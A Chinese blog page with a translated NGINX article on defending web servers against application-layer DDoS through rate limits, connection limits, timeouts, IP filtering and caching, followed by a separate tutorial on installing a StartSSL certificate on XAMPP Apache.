DDOS是一种通过大流量的请求对目标进行轰炸式访问,导致提供服务的服务器资源耗尽进而无法继续提供服务的攻击手段。

一般情况下,攻击者通过大量请求与连接使服务器处于饱和状态,以至于无法接受新的请求或变得很慢。

0x01 应用层DDOS攻击的特征

应用层(七层/HTTP层)DDOS攻击通常由木马程序发起,其可以通过设计更好的利用目标系统的脆弱点。例如,对于无法处理大量并发请求的系统,仅仅通过建立大量的连接,并周期性的发出少量数据包来保持会话就可以耗尽系统的资源,使其无法接受新的连接请求达到DDOS的目的。其他还有采用发送大量连接请求发送大数据包的请求进行攻击的形式。因为攻击是由木马程序发起,攻击者可以在很短时间内快速建立大量的连接,并发出大量的请求。

以下是一些DDOS的特证,我们可以据此特征来抵抗DDOS(包括但不限于):

  • 攻击经常来源于一些相对固定的IP或IP段,每个IP都有远大于真实用户的连接数和请求数。备注:这并不表明这种请求都是代表着DDOS攻击。在很多使用NAT的网络架构中,很多的客户端使用网关的IP地址访问公网资源。但是,即便如此,这样的请求数和连接数也会远少于DDOS攻击。
  • 因为攻击是由木马发出且目的是使服务器超负荷,请求的频率会远远超过正常人的请求。
  • User-Agent通常是一个非标准的值
  • Referer有时是一个容易联想到攻击的值

0x02 使用Nginx、Nginx Plus抵抗DDOS攻击

结合上面提到的DDOS攻击的特征,Nginx、Nginx Plus有很多的特性可以用来有效的防御DDOS攻击,可以从调整入口访问流量和控制反向代理到后端服务器的流量两个方面来达到抵御DDOS攻击的目的。

限制请求速度

设置Nginx、Nginx Plus的连接请求在一个真实用户请求的合理范围内。比如,如果你觉得一个正常用户每两秒可以请求一次登录页面,你就可以设置Nginx每两秒钟接收一个客户端IP的请求(大约等同于每分钟30个请求)。

limit_req_zone $binary_remote_addr zone=one:10m rate=30r/m;

server {

location /login.html {

limit_req zone=one;

}

}

`limit_req_zone`命令设置了一个叫one的共享内存区来存储请求状态的特定键值,在上面的例子中是客户端IP($binary_remote_addr)。location块中的`limit_req`通过引用one共享内存区来实现限制访问/login.html的目的。

限制连接数量

设置Nginx、Nginx Plus的连接数在一个真实用户请求的合理范围内。比如,你可以设置每个客户端IP连接/store不可以超过10个。

limit_conn_zone $binary_remote_addr zone=addr:10m;

server {

location /store/ {

limit_conn addr 10;

}

}

`limit_conn_zone`命令设置了一个叫addr的共享内存区来存储特定键值的状态,在上面的例子中是客户端IP( $binary_remote_addr)。location块中`limit_conn`通过引用addr共享内存区来限制到/store/的最大连接数为10。

关闭慢连接

有一些DDOS攻击,比如Slowlris,是通过建立大量的连接并周期性的发送一些数据包保持会话来达到攻击目的,这种周期通常会低于正常的请求。这种情况我们可以通过关闭慢连接来抵御攻击。

`client_body_timeout`命令用来定义读取客户端请求的超时时间,`client_header_timeout`命令用来定于读取客户端请求头的超时时间。这两个参数的默认值都是60s,我们可以通过下面的命令将他们设置为5s:

server {

client_body_timeout 5s;

client_header_timeout 5s;

}

设置IP黑名单

如果确定攻击来源于某些IP地址,我们可以将其加入黑名单,Nginx就不会再接受他们的请求。比如,你已经确定攻击来自于从123.123.123.1到123.123.123.16的一段IP地址,你可以这样设置:

location / {

deny 123.123.123.0/28;

}

或者你确定攻击来源于123.123.123.3、123.123.123.5、123.123.123.7几个IP,可以这样设置:

location / {

deny 123.123.123.3;

deny 123.123.123.5;

deny 123.123.123.7;

}

设置IP白名单

如果你的网站仅允许特定的IP或IP段访问,你可以结合使用allow和deny命令来限制仅允许你指定的IP地址访问你的网站。如下,你可以设置仅允许192.168.1.0段的内网用户访问:

location / {

allow 192.168.1.0/24;

deny all;

}

deny命令会拒绝除了allow指定的IP段之外的所有其他IP的访问请求。

使用缓存进行流量削峰

通过打开Nginx的缓存功能并设置特定的缓存参数,可以削减来自攻击的流量,同时也可以减轻对后端服务器的请求压力。以下是一些有用的设置:

  • `proxy_cache_use_stale `的updating参数告诉Nginx什么时候该更新所缓存的对象。只需要到后端的一个更新请求,在缓存有效期间客户端对该对象的请求都无需访问后端服务器。当通过对一个文件的频繁请求来实施攻击时,缓存功能可极大的降低到后端服务器的请求。
  • `proxy_cache_key `命令定义的键值通常包含一些内嵌的变量(默认的键值$scheme$proxy_host$request_uri包含了三个变量)。如果键值包含`$query_string`变量,当攻击的请求字符串是随机的时候就会给Nginx代理过重的缓存负担,因此我们建议一般情况下不要包含`$query_string`变量。

屏蔽特定的请求

可以设置Nginx、Nginx Plus屏蔽一些类型的请求:

  • 针对特定URL的请求
  • 针对不是常见的User-Agent的请求
  • 针对Referer头中包含可以联想到攻击的值的请求
  • 针对其他请求头中包含可以联想到攻击的值的请求

比如,如果你判定攻击是针对一个特定的URL:/foo.php,我们就可以屏蔽到这个页面的请求:

location /foo.php {

deny all;

}

或者你判定攻击请求的User-Agent中包含foo或bar,我们也可以屏蔽这些请求:

location / {

if ($http_user_agent ~* foo|bar) {

return 403;

}

}

http_name变量引用一个请求头,上述例子中是User-Agent头。可以针对其他的http头使用类似的方法来识别攻击。

限制到后端服务器的连接数

一个Nginx、Nginx Plus实例可以处理比后端服务器多的多的并发请求。在Nginx Plus中,你可以限制到每一个后端服务器的连接数,比如可以设置Nginx Plus与website upstream中的每个后端服务器建立的连接数不得超过200个:

upstream website {

server 192.168.100.1:80 max_conns=200;

server 192.168.100.2:80 max_conns=200;

queue 10 timeout=30s;

}

`max_conns`参数可以针对每一个后端服务器设置Nginx Plus可以与之建立的最大连接数。`queue`命令设置了当每个后端服务器都达到最大连接数后的队列大小,`timeout`参数指定了请求在队列中的保留时间。

处理特定类型的攻击

有一种攻击是发送包含特别大的值的请求头,引起服务器端缓冲区溢出。Nginx、Nginx Plus针对这种攻击类型的防御,可以参考[Using NGINX and NGINX Plus to Protect Against CVE-2015-1635](http://nginx.com/blog/nginx-protect-cve-2015-1635/?_ga=1.14368116.2137319792.1439284699)

优化Nginx性能

DDOS攻击通常会带来高的负载压力,可以通过一些调优参数,提高Nginx、Nginx Plus处理性能,硬抗DDOS攻击,详细参考:[Tuning NGINX for Performance](http://nginx.com/blog/tuning-nginx/?_ga=1.48422373.2137319792.1439284699)

0x03 识别DDOS攻击

到目前为止,我们都是集中在如何是用Nginx、Nginx Plus来减轻DDOS攻击带来的影响。如何才能让Nginx、Nginx Plus帮助我们识别DDOS攻击呢?`Nginx Plus Status module`提供了到后端服务器流量的详细统计,可以用来识别异常的流量。Nginx Plus提供一个当前服务状态的仪表盘页面,同时也可以在自定义系统或其他第三方系统中通过API的方式获取这些统计信息,并根据历史趋势分析识别非正常的流量进而发出告警。

0x04 总结

Nginx和Nginx Plus可以作为抵御DDOS攻击的一个有力手段,而且Nginx Plus中提供了一些附加的特性来更好的抵御DDOS攻击并且当攻击发生时及时的识别到。

英文原文:https://www.nginx.com/blog/mitigating-ddos-attacks-with-nginx-and-nginx-plus/

XAMPP Apache安装StartSSL免费SSL证书

本文原始链接:http://www.myhack58.com/Article/sort099/sort0100/2014/53529.htm

发现网上没有一个很全面的XAMPP Apache安装StartSSL免费SSL证书的教程,故分享下。

虽然本文是针对XAMPP Apache的,但应该只要是Apache,都是一样的。

一、申请免费SSL证书:

我是从StartSSL申请的免费一年SSL证书:

https://www.startssl.com/

https://www.startssl.com/?app=12

StartSSL免费SSL证书申请教程:

http://blog.csdn.net/ruixue0117/Article/details/22201303

http://www.freehao123.com/startssl-ssl/

二、SSL证书申请成功后需要的东西:

1、key文件:StartSSL申请SSL证书时提供的一长串加密的字符串,保存为server.key,后面用的时候需要解密;
2、crt文件:StartSSL申请SSL证书时提供的一长串加密的字符串,保存到server.crt;
3、sub.class1.server.ca.pem文件:StartSSL申请SSL证书申请crt成功的时候会提示下载;
4、ca.pem文件:StartSSL申请SSL证书申请crt成功的时候会提示下载;

三、安装SSL证书:

我是在Linux XAMPP下操作的,Windows版本XAMPP是类似的。
1、通过FTP或者SFTP等方式将server.key上传覆盖XAMPP原有的”/opt/lampp/etc/ssl.key /server.key”,将server.crt上传覆盖XAMPP原有的”/opt/lampp/etc/ssl.crt/server.crt”;
2、解密server.key文件:
在服务器上执行:
# cd /opt/lampp/etc/ssl.key/
# openssl rsa -in server.key -out server_decrypted.key
然后输入你申请SSL证书是输入的密码,即可解密server.key文件。
3、将server.key文件重命名或者删除,然后把上一步解密好的server_decrypted.key文件重命令为server.key
4、将sub.class1.server.ca.pem和ca.pem上传到/opt/lampp/etc/ssl.crt/目录下;
5、修改/opt/lampp/etc/extra/httpd-ssl.conf配置文件,搜索SSLCertificateChainFile和SSLCACertificateFile,对应节点下增加以下两行并保存修改:
SSLCertificateChainFile “/opt/lampp/etc/ssl.crt/sub.class1.server.ca.pem”
SSLCACertificateFile “/opt/lampp/etc/ssl.crt/ca.pem”
6、重启Apache或直接重启XAMPP:
/opt/lampp/xampp restart
5、通过https访问你的网站。

四、另外,感谢以下两个参考教程:

Apache下安装StartSSL免费证书

http://fengfan.blog.163.com/blog/static/13478622013713114942896/

http://blog.csdn.net/ruixue0117/Article/details/23923395

http://www.myhack58.com/Article/sort099/sort0100/2014/53529.htm